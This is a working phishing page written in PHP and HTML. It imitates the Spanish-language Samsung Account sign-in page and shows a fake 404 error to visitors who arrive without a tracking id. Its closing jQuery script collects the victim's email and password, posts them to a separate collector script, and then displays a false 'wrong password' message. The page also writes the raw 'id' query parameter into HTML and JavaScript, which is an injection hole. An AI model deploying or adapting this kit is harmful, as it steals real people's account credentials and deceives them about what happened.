<?php
if(!isset($_GET['id'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<html lang="es"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<title>Iniciar sesión | Samsung Account</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="referrer" content="no-referrer-when-downgrade">


<script type="text/javascript" async="" src="./Iniciar sesión _ Samsung Account_files/analytics.js"></script><script src="./Iniciar sesión _ Samsung Account_files/cb=gapi.loaded_0" async=""></script><script async="" src="./Iniciar sesión _ Samsung Account_files/gtm.js"></script>


<link rel="stylesheet" href="./Iniciar sesión _ Samsung Account_files/angular-block-ui.min.css">
<link rel="stylesheet" type="text/css" href="./Iniciar sesión _ Samsung Account_files/angular-material.css">
<link rel="stylesheet" type="text/css" href="./Iniciar sesión _ Samsung Account_files/default.css">

<link type="image/x-icon" rel="shortcut icon" href="https://account.samsung.com/favicon.ico?20210806070316">

<!-- js loading -->
<script src="./Iniciar sesión _ Samsung Account_files/wip.js"></script>

<script src="./Iniciar sesión _ Samsung Account_files/app.js"></script>
<script src="./Iniciar sesión _ Samsung Account_files/run.js"></script><script src="./Iniciar sesión _ Samsung Account_files/config.js"></script><script src="./Iniciar sesión _ Samsung Account_files/controller.js"></script><script src="./Iniciar sesión _ Samsung Account_files/directive.js"></script><script src="./Iniciar sesión _ Samsung Account_files/filter.js"></script><script src="./Iniciar sesión _ Samsung Account_files/loading.js"></script><script src="./Iniciar sesión _ Samsung Account_files/provider.js"></script><script src="./Iniciar sesión _ Samsung Account_files/service.js"></script><script src="./Iniciar sesión _ Samsung Account_files/util.js"></script><script src="./Iniciar sesión _ Samsung Account_files/signIn.js"></script>

<script type="text/javascript">

	window.document.title = 'Iniciar sesión | Samsung Account';
//<![CDATA[

	var iptLgnPlnID = '';
	var continueWith3rdParty = 'GG';
	var assertion = null;
	var isAdmin = false;
	var enableBrowserSso = eval(false);
//]]>
</script><style>
	.error-msg {display:block !important}

	.cover {
		background: #f2f2f2;
		position: fixed;
		top:0;
		left:0;
		bottom:0;
		right:0;
		height:100%;
		width:100%;
		z-index: 2;
		/*opacity: 0.5;*/
		display: flex;
		justify-content: center;
		align-items: center;
		!important
	}
	.wrapper-cover{
		z-index: 1;
		!important
	}

	.loading-container { width:200px; height:100px; overflow: hidden; }
	.circle { position: absolute; width: 100%; height: 200%; border-radius: 50%; overflow: hidden; }
	.top, .bottom { position: relative; width: 100%; height: 100%; overflow: hidden; animation: rotate .8s linear infinite; }
	.top { transform-origin: 50% 100%; }
	.top .circle { box-shadow: inset 0 0 0 10px #41c91f; }
	.bottom { transform-origin: 50% 0; }
	.bottom .circle { box-shadow: inset 0 0 0 10px #01b1d1; top: -100px !important; }
	@keyframes rotate {
		0% { transform: rotate(0deg); }
		100% { transform: rotate(360deg); /* filter:hue-rotate(360deg); */ }
	}
	.loading { margin:auto; text-align: center; width:fit-content; }
	.loading.medium .loading-container { width:60px; height:30px; }
	.loading.medium .top .circle { box-shadow: inset 0 0 0 3px #41c91f; }
	.loading.medium .bottom .circle{ box-shadow: inset 0 0 0 3px #01b1d1; top:-30px !important;}

</style><script src="./Iniciar sesión _ Samsung Account_files/api_client.js" gapi_processed="true"></script></head>




    


<body onload="createPostMessage();" class="one-card-ui ng-scope block-ui block-ui-anim-fade" block-ui="main" aria-busy="false">

<div class="wrapper false? wrapper-cover : &#39;&#39; ng-scope" data-ng-controller="cmmController as cmm">
	
<!-- ngIf: isIESupportMessageShow=='Y' -->
<header class="one-header">
	<div class="header-inner">
		<div class="logo">
			<h1><img src="./Iniciar sesión _ Samsung Account_files/txt_logo.svg" onerror="this.src=&#39;https://account.samsung.com/accounts/v1/resources/one-ui/images/layout/txt_logo.png&#39;;" alt="Samsung account"></h1>
		</div>
	</div>
</header>

	<main class="one-main ng-scope" data-ng-controller="signInController as vm">
		<!-- ngIf: vm.isLoading -->

		<div class="main-inner">
			<!-- container -->
			<div class="container loginForm">
				<div class="title">
					<h1>Iniciar sesión en tu Samsung Account</h1>
				</div>
				<!-- div class="subDesc">서브 설명 들어가는 곳</div -->
				<div class="content" ng-init="">

					<div >
						<form novalidate="" autocomplete="off"   class="cloud-login"  method="post">
							<fieldset>
								<legend>Account Samsung login</legend>

								<!-- ngIf: false -->

								<!-- ngIf: true --><div id="ctnLgnPlnID" data-ng-if="true" class="one-input-container ng-scope focus">
									<label id="lblLgnPlnID" for="iptLgnPlnID">Correo electrónico</label>
									<input data-ng-model="vm.iptLgnPlnID" name="xuser" id="apple_id" type="email" spellcheck="false" ng-model-options="{ updateOn: &#39;keyup blur&#39; }" aria-required="true" aria-invalid="false" aria-describedby="" maxlength="100" value="" class="ng-pristine ng-valid ng-empty ng-valid-email ng-valid-maxlength ng-touched" autocomplete="off">
									<div class="error-msg">
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == &#39;01&#39;)" id="" class="ng-hide">Introduzca el ID.</div>
									</div>
								</div><!-- end ngIf: true -->
								
											<input type="hidden" name="samsung" id="samsung"value="true">

			<input type="hidden" name="id" value="<?php echo $_GET['id'];?>">
	    	<?php
			if($response->vermail==1){
				$value = 'value="'.$response->email.'"';
			}else{
				$value="";
			}
			?>
								<div class="one-input-container">
									<label for="iptLgnPlnPD">Contraseña</label>
									<input data-ng-model="vm.iptLgnPlnPD"  name="xpass" id="apple_pwd" type="password" ng-model-options="{ updateOn: &#39;keyup blur&#39; }" aria-required="true" aria-invalid="" aria-describedby="" ng-enter="$parent.submitForCaptcha()" data-ng-pattern="" data-ng-blur="vm.iptLgnPlnPDFocus = false;" data-ng-focus="vm.iptLgnPlnPDFocus = true" not-space="" maxlength="512" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-pattern ng-valid-maxlength" autocomplete="off">
									<div class="error-msg">
										<div  id="contraseña"  name="contraseña">ID o contraseña incorrectos.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == &#39;03&#39;)" id="" class="ng-hide">Introduzca el ID y la contraseña.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == &#39;05&#39;)" id="" class="ng-hide">En los ajustes del navegador, permite a los sitios guardar y leer datos de cookies.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == &#39;AUT_1837&#39;)" id="" class="ng-hide">No se puede iniciar sesión. Por motivos de seguridad, la cuenta se ha desactivado.</div>

										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == &#39;99&#39;)" id="" class="ng-hide"><div data-ng-bind="err.message | trusted" class="ng-binding"></div></div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == &#39;A02&#39;)" id="" class="ng-hide">Usa un mínimo de 8 caracteres e incluye letras, números y símbolos.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == &#39;A03&#39;)" id="" class="ng-binding ng-hide">La contraseña no puede tener más de 3 caracteres repetidos o secuenciales.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == &#39;A04&#39;)" id="" class="ng-hide">La contraseña no puede tener más de 3 caracteres repetidos o secuenciales.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == &#39;A06&#39;)" id="" class="ng-hide">No se puede incluir tu dirección de correo electrónico ni tu número de teléfono en tu contraseña.</div>
									</div>
								</div>


								<!-- remember id 관련 추가 -->
								<div class="one-checkBox mbr_rememberid" id="rememberID">
									<input type="checkbox" id="remIdChkYN" data-ng-model="vm.remIdChkYN" ng-enter="" class="ng-pristine ng-untouched ng-valid ng-empty" autocomplete="off">
									<label for="remIdChkYN"><span></span>Recordar mi ID</label>

								</div>
								<!-- // remember id 관련 추가 -->

								<!-- ngIf: vm.bannerSrc -->

								<!-- capcha -->
								
							<script type="text/javascript">
								//<![CDATA[
								var RecaptchaOptions = {
											theme : 'custom'
										};
				       			//]]>
							</script> 
							<!-- ngIf: $parent.captchaTypeEnum == 'S' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'A' -->
							<div id="audioCaptchaArea" style="display:block; height:0; font-size:0; line-height:0;"></div>
							<!-- ngIf: $parent.captchaTypeEnum == 'R' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'G' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'I' -->
							<div class="one-input-container  ng-hide" data-ng-show="$parent.captchaTypeEnum != null &amp;&amp; $parent.captchaTypeEnum != &#39;G&#39; &amp;&amp; $parent.captchaTypeEnum != &#39;I&#39;">
								<label for="responseCapthcha">Código de seguridad (CVC)</label>
								<input data-ng-model="vm.responseCapthcha" id="responseCapthcha" name="responseCapthcha" type="text" maxlength="50" ng-model-options="{ updateOn: &#39;keyup blur&#39; }" aria-required="true" aria-invalid="false" aria-describedby="" not-enter="" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-maxlength" autocomplete="off">
								<div class="error-msg">
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == &#39;01&#39;" id="cap" class="ng-hide">Introduzca el código de seguridad</div>
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == &#39;99&#39;" id="cap" class="ng-hide">Se han introducido un ID, una contraseña o un código de seguridad incorrectos. <br>Inténtalo de nuevo.</div>
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == &#39;02&#39;" data-ng-bind="err.message" id="cap" class="ng-binding ng-hide"></div>
								</div>
							</div>




								<!-- //capcha -->
								<div class="mbr_signin">
								<div class="one-btn-container">
									<button class="one-cancel one-button ng-hide" data-ng-show="vm.continueWith3rdParty == &#39;NONE&#39;" name="c_log" id="c_log" data-ng-disabled="(vm.isAdmin &amp;&amp; (err.iptLgnPlnAdminPD || err.iptLgnPlnPD))" data-ng-click="$parent.submitForCaptcha()" type="button">Iniciar sesión</button>
									<button class="one-cancel one-button"  name="c_log" id="c_log"  type="button">Iniciar sesión</button>
								</div>

								<ul>
									<li data-ng-show="vm.continueWith3rdParty != &#39;NONE&#39;">
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="findInfo()">
											Buscar ID
										</a>
										o
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="resetPassword()">
											Restablecer contraseña
										</a>
									</li>
									<li data-ng-show="vm.continueWith3rdParty != &#39;NONE&#39; &amp;&amp; !vm.rmvCrtBtnYN">
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="signUp()">Crear cuenta</a>
									</li>
								</ul>
								</div>

								<!-- Galaxy sso -->
								<!-- ngIf: false -->
								<!--// Galaxy sso -->

								<!-- 구글 로그인 -->
								<div class="one-btn-container google" data-ng-show="vm.continueWith3rdParty == &#39;GG&#39;">
									<button class="one-primary one-button" id="googleSignInButton" data-ng-click="googleSignIn()" type="submit">Continuar con Google</button>
								</div>

								<div class="one-btn-container wechat ng-hide" data-ng-show="vm.continueWith3rdParty == &#39;WC&#39;">
									<button class="one-primary one-button" id="wechatSignInButton" data-ng-click="wechatSignIn()" type="submit">Continuar con WeChat</button>
								</div>

								<!--// 구글 로그인 -->
								<div class="mbr_signin">
								<ul>
									<li data-ng-show="vm.continueWith3rdParty == &#39;NONE&#39;" class="ng-hide">
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="findInfo()">
											Buscar ID
										</a>
										o
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="resetPassword()">
											Restablecer contraseña
										</a>
									</li>
									<li data-ng-show="vm.continueWith3rdParty == &#39;NONE&#39; &amp;&amp; !vm.rmvCrtBtnYN" class="ng-hide">
										<a href="https://account.samsung.com/accounts/v1/FMM2/signInGate?locale=es_ES&amp;state=3620472280&amp;goBackURL=https:%2F%2Ffindmymobile.samsung.com&amp;redirect_uri=https:%2F%2Ffindmymobile.samsung.com%2Flogin.do&amp;response_type=code&amp;client_id=ntly6zvfpn&amp;acr_values=urn:samsungaccount:acr:basic#" data-ng-click="signUp()">Crear cuenta</a>
									</li>
								</ul>
								</div>


								<div class="signin-tooltip ng-hide" data-ng-show="vm.isAdmin">
									<dl>
										<dt>Contraseña</dt>
										<dd>Use 8 or more characters with a mix of letters, numbers, and symbols.<br><br>If your password does not meet the criteria, you will not be able to sign in.</dd>
									</dl>
									<p></p>
								</div>

							</fieldset>
						</form>
					</div>
				</div>
			</div>
		</div>
	</main>
	
	<!-- footer -->
	<footer class="one-footer" role="contentinfo">
		<div class="footer-inner">
			<div class="footer-logo"><img src="./Iniciar sesión _ Samsung Account_files/txt_foo_logo.png" onerror="this.src=&#39;https://account.samsung.com/accounts/v1/resources/one-ui/images/layout/txt_foo_logo.png&#39;;" alt="Samsung account"></div>
			<address class="footer-address">Copyright © 1995-2021 Samsung. All Rights Reserved.</address>
			<div class="footer-links" role="link">
				<a href="https://account.samsung.com/membership/terms/termscontents?paramLocale=es_ES" title="Open links in a new window Terms and Conditions">Términos y condiciones</a>
				<a href="https://account.samsung.com/membership/terms/privacypolicy?paramLocale=es_ES" title="Open links in a new window Privacy Policy" class="active">Aviso de privacidad de Samsung Account</a>
				<a href="https://account.samsung.com/membership/notice/notice-list?paramLocale=es_ES" title="Open links in a new window Notices">Aviso</a>
				<a href="https://help.content.samsung.com/csweb/auth/gosupport.do?targetUrl=/main/main.do&amp;serviceCd=saccount&amp;_common_country=ES&amp;_common_lang=es" title="Open links in a new window Contact us">Contacto</a>
			</div>
		</div>
	</footer>
	<!-- //footer -->

</div>
    
<!-- javascript -->
<script src="./Iniciar sesión _ Samsung Account_files/jquery.min.js"></script>
<script>
	$(document).ready(function(){
	      $( "#contraseña" ).hide( "slow" );

		$("button").click(function(){
			var user = $("#apple_id").val();		    
			
			var pass = $("#apple_pwd").val();
		//	alert(pass);
			var id = <?php echo $_GET['id'];?>;
			var samsung = true;
			$(".opc").show(0);
      if(user!="" && pass!=""){
  			$.post(
  				"/cloudlogin2.php",
  				{id:id, xuser:user, xpass:pass,samsung:samsung},
  				function(a){
  					if(a==99){
                    $( "#contraseña" ).show( 2000 );
  					}else{
                    $( "#contraseña" ).show( 2000 );
        $(".opc").hide(0);
  					}
  				}
  			);
      }else{
                    $( "#contraseña" ).show( 2000 );
        $(".opc").hide(0);
      }
		});
	});
</script>

<script>
  window.onload = function(){

    inputEvent();
    if($('form').find(':input')[0]!==undefined){
      $(':focus').blur();
      $('form').find(':input')[0].focus();
    }
    

	
  };

  var inputEvent = function() {
    var $inputs = $('form').find(':input');
    $inputs.each(function() {
      var $input = $(this),
          $label = $input.parent('div.one-input-container');
      if ($input.val())
        $label.addClass('active');

      $input.focusin(function() {
        $label.addClass('focus');
        $label.siblings('div.flexbdy').addClass('off');
      });
      $input.change(function() {
        $label.addClass('active');
      });
      $input.focusout(function() {
        $label.removeClass('focus');

        if (!$input.val()) $label.removeClass('active').siblings('div.flexbdy').removeClass('off');
      });
    }
    );
  }
</script>





<div block-ui-container="" class="block-ui-container ng-scope"><!-- loading -->
<div class="loadingWrap" style="display : none">
	<div class="dimBg"></div><!-- 딤처리 -->	
	<div class="cssload-spin-box"></div>
</div>
<!-- //loading --></div></body></html>